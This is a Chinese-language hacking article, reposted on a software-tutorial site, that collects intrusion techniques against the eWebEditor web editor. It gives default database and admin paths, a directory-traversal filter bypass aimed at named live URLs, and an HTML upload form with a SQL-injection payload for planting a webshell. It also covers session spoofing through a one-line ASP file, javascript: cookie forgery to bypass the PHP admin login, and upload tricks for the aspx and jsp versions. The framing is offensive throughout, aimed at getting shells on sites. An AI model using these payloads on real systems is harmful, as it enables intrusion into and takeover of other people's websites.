LOGO OA教程 ERP教程 模切知识交流 PMS教程 CRM教程 开发文档 其他文档  
 
网站管理员

目前所有ewebeditor版本入侵的漏洞与问题总结

admin
2010年8月13日 10:19 本文热度 4679

转载请注明Minghacker's

Ewebeditor编辑器目前分为asp,aspx,php,jsp四种程序,各类ewebeditor版本很多,功能强大颇收使用者喜爱,在国内使用极为广泛。于是像windows一样被黑客们挖掘出很多漏洞,大家莫急,笔者Minghacker总结前人基础,一一道来。

对于目前asp版本的ewebeditor编辑器漏洞主要分为以下7点:

默认,遍历目录漏洞,一句话,注入,构造,cookie欺骗,社工(踩脚印入侵),

NO1.ewebeditor编辑器一般默认数据库路径是db/ewebeditor.mdb
默认的后台路径是admin_login.asp
建议最好检测下admin_style.asp文件是否可以直接访问

举例:

数据库SouthidcEditor\Datas\SouthidcEditor.mdb

没登陆页面。

利用方法:PopUp.asp页面传图片小马,nc提交,得shell

NO2.遍历目录漏洞(具体如下):
登陆编辑器---上传文件管理---选择样式目录(随便选一个目录)
得到:
ewebeditor/admin_uploadfile.asp?id=14
在id=14后面添加&dir=..
再加 &dir=../..
&dir=../../../.. 看到整个网站文件了
此漏洞危害大大的,绝对恐怖

NO3.当数据库被管理员修改为asp、asa后缀的时候,可以插一句话木马服务端进入数据库,然后一句话木马客户端连接拿下webshell

NO4.有的时候爆了数据库找不到后台地址让人发急,其实可以试试查看样式表,有没别人加入的asp、asa后缀样式表,也就是虽说的踩着脚印入侵。
还有的时候聪明的管理员也就是加“#”不妨社工试试,我可没少占便宜的
例如:db/#ewebeditor.asa、db/#ewebeditor.asp 、db/#ewebeditor.mdb

NO5.注入2.1.6的注入就不多说了,如下保存为html文件修改action,直接上传cer马

<H1>ewebeditor asp版 2.1.6 上传漏洞利用程序----</H1><br><br>
<form action="http://127.1/e/upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=Fuck>
</form>

     ewebeditor 5.2 列目录漏洞

出现漏洞的文件存在于ewebeditor/asp/browse.asp

ASP/Visual Basic代码
Function GetList()
Dim s_List, s_Url
s_List = ""
Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName
'Response.Write sCurrDir
'On Error Resume Next
Set oFSO = Server.CreateObject("Scripting.FileSystemObject")
Set oUploadFolder = oFSO.GetFolder(Server.MapPath(sCurrDir))
'注意一下sCurrDir变量,这个值等下我们可以用到
If Err.Number>0 Then
s_List = ""
Exit Function
End If

If sDir <> "" Then
If InstrRev(sDir, "/") > 1 Then
s_Url= Left(sDir, InstrRev(sDir, "/") - 1)
Else
s_Url = ""
End If

s_List = s_List & "" & _
"" & _
".." & _
" " & _
""
End If
'Response.Write sDir&"!"&s_List

Dim oSubFolder
For Each oSubFolder In oUploadFolder.SubFolders
'Response.Write oUploadFolder.SubFolders
If sDir = "" Then
s_Url = oSubFolder.Name
Else
s_Url = sDir & "/" & oSubFolder.Name
End If
s_List = s_List & "" & _
"" & _
"" & oSubFolder.Name & "" & _
" " & _
""
Next
'Response.Write s_List

Set oUploadFiles = oUploadFolder.Files

For Each oUploadFile In oUploadFiles
'Response.Write oUploadFile.Name
sFileName = oUploadFile.Name
If CheckValidExt(sFileName) = True Then
'这行让人有点郁闷,检测了所有允许的文件后缀,如不允许就无法列出,不然就不只列出目录名和图片文件了
If sDir = "" Then
s_Url = sContentPath & sFileName
Else
s_Url = sContentPath & sDir & "/" & sFileName
End If

s_List = s_List & "" & _
"" & FileName2Pic(sFileName) & "" & _
"" & sFileName & "" & _
"" & GetSizeUnit(oUploadFile.size) & "" & _
""
End If
Next
Set oUploadFolder = Nothing
Set oUploadFiles = Nothing
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url

If sDir = "" Then
s_Url = ""
's_Url = "/"
Else
s_Url = "/" & sDir & ""
's_Url = "/" & sDir & "/"
End If

s_List = s_List & ""
s_List = HTML2JS(s_List)
'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url
s_List = "parent.setDirList(""" & s_List & """, """ & s_Url & """)"
GetList = s_List
End Function
'如果没有下面这步检测的话,应该就可以列出目录中所有的文件了,有点郁闷..现在只能列出允许后缀的文件和目录名
Function CheckValidExt(s_FileName)
If sAllowExt = "" Then
CheckValidExt = True
Exit Function
End If

Dim i, aExt, sExt
sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ".") + 1))
CheckValidExt = False
aExt = Split(LCase(sAllowExt), "|")
For i = 0 To UBound(aExt)
If aExt(i) = sExt Then
CheckValidExt = True
Exit Function
End If
Next
End Function
'我们顺着代码往下找,发现sCurrDir的值是通过下面的值得到的
Sub InitParam()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))

Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), "|||")
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next

If bValidStyle = False Then
OutScript("alert('Invalid Style.')")
End If

sBaseUrl = aStyleConfig(19)
'nAllowBrowse = CLng(aStyleConfig(43))
nAllowBrowse = 1

If nAllowBrowse <> 1 Then
OutScript("alert('Do not allow browse!')")
End If

sUploadDir = aStyleConfig(3)
If Left(sUploadDir, 1) <> "/" Then
Select Case sType
Case "REMOTE"
sUploadDir = "../../" & sUploadDir & "Image/"
Case "FILE"
sUploadDir = "../../" & sUploadDir & "Other/"
Case "MEDIA"
sUploadDir = "../../" & sUploadDir & "Media/"
Case "FLASH"
sUploadDir = "../../" & sUploadDir & "Flash/"
Case Else
sUploadDir = "../../" & sUploadDir & "Image/"
End Select
End If
'sUploadDir =sUploadDir &"/"

Select Case sBaseUrl
Case "0"
'sContentPath = aStyleConfig(23)
Select Case sType
Case "REMOTE"
sContentPath = "../" & aStyleConfig(3) & "Image/"
Case "FILE"
sContentPath = "../" & aStyleConfig(3) & "Other/"
Case "MEDIA"
sContentPath = "../" & aStyleConfig(3) & "Media/"
Case "FLASH"
sContentPath = "../" & aStyleConfig(3) & "Flash/"
Case Else
sContentPath = "../" & aStyleConfig(3) & "Image/"
End Select
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select

Select Case sType
Case "REMOTE"
sAllowExt = aStyleConfig(10)
Case "FILE"
sAllowExt = aStyleConfig(6)
Case "MEDIA"
sAllowExt = aStyleConfig(9)
Case "FLASH"
sAllowExt = aStyleConfig(7)
Case Else
sAllowExt = aStyleConfig(8)
End Select

sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址
sDir = Trim(Request("dir")) '得到dir变量
sDir = Replace(sDir, "\", "/") '对dir变量进行过滤
sDir = Replace(sDir, "../", "")
sDir = Replace(sDir, "./", "")
If sDir <> "" Then
If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then
sCurrDir = sUploadDir & sDir & "/"
'重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了
'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用st0p会在下面的利用中给出
Else
sDir = ""
End If
End If

End Sub


嘿嘿,看到这你应该明白了,其实就是对dir过滤的问题,我们完全可以构造特殊的值来跳过验证,这样就可以得到目录结构和显示设置文件中允许的文件后缀的文件了..
利用方法如下
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=…././/..
由于st0p测试的时候,上传目录是根目录下的uploadfile,通过上面的地址就可以得到根目录下的所有目录了.
嘿嘿,如果你发现打开的时候显示的是空白,不要灰心,这就对了,直接查看源代码,看到了吗,里面就有你根目录的目录名字了.
嘿嘿,他根目录下有个guest目录,我们通过下面的地址可以列出他下面的结构
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/guest
然后我们也可以通过
http://www.st0p.org/ewebeditor/asp/browse.asp?style=standard650&dir=…././/../…././/..
可以往更上层跳,我测试的那个虚拟主机,得到的是www,logfile,datebase这三个目录.

   eWebEditorv5.5asp存在session欺骗漏洞!
记得以前eWebEditor在线编辑器有个session欺骗漏洞没想到5.5版本也存在!

代码如下:

'登录检查
Function ChkLogin()
If session("editor_admin")="" or IsNull(session("editor_admin")) Then
     PhilLogin()
   session.CodePage = session("PreCodePage")
   response.End
End If
End Function

呵呵很明显和以前的版本漏洞一样!

只是判断了session.

利用方法:

新建立个hkok8.asp内容为

<%Session("editor_admin") = "admin"%>

然后访问hkok8.asp 最后访问登陆文件.刷新ok进去了...

要进行这种Session欺骗,必须有三个前提:

1.进行欺骗的网页和被欺骗的网页必须位于同一个网站内.
2.必须知道管理页面。
3.必须知道Session变量以及它的限制条件。

    php版ewebeditor 3.8的漏洞

php版本后台是调用../ewebeditor/admin/config.php,大家去看下源码就知道,在这里我说说利用方法:

1 首先当然要找到登陆后台,默认是../eWebEditor/admin/login.php,进入后台后随便输入一个用户和密码,当然会提示出错了,必须是出错的时候,然后这时候你清空浏览器的url,然后输入javascript:alert(document.cookie=”adminuser=”+escape(”admin”));javascript:alert(document.cookie=”adminpass=”+escape(”admin”));javascript:alert(document.cookie=”admindj=”+escape(”1″));后三次回车,
2 然后输入正常情况才能访问的文件../ewebeditor/admin/default.php就可以进后台了

3 后面的利用和asp一样,新增样式修改上传,就ok了

测试一下asp 2.8版本的,竟然一样可以用,爽,看来asp版的应该可以通杀(只测试2.8的,貌似2.8是最高版本的)
aspx的版本../ewebeditor/admin/upload.aspx添好本地的cer的Shell文件,在浏揽器输入javascript:lbtnUpload.click();就能得到shell
jsp的上传漏洞以及那个出了N久了,由于没有上传按钮,选择好要上传的shell,直接回车就可以了


该文章在 2010/8/13 10:19:21 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2024 ClickSun All Rights Reserved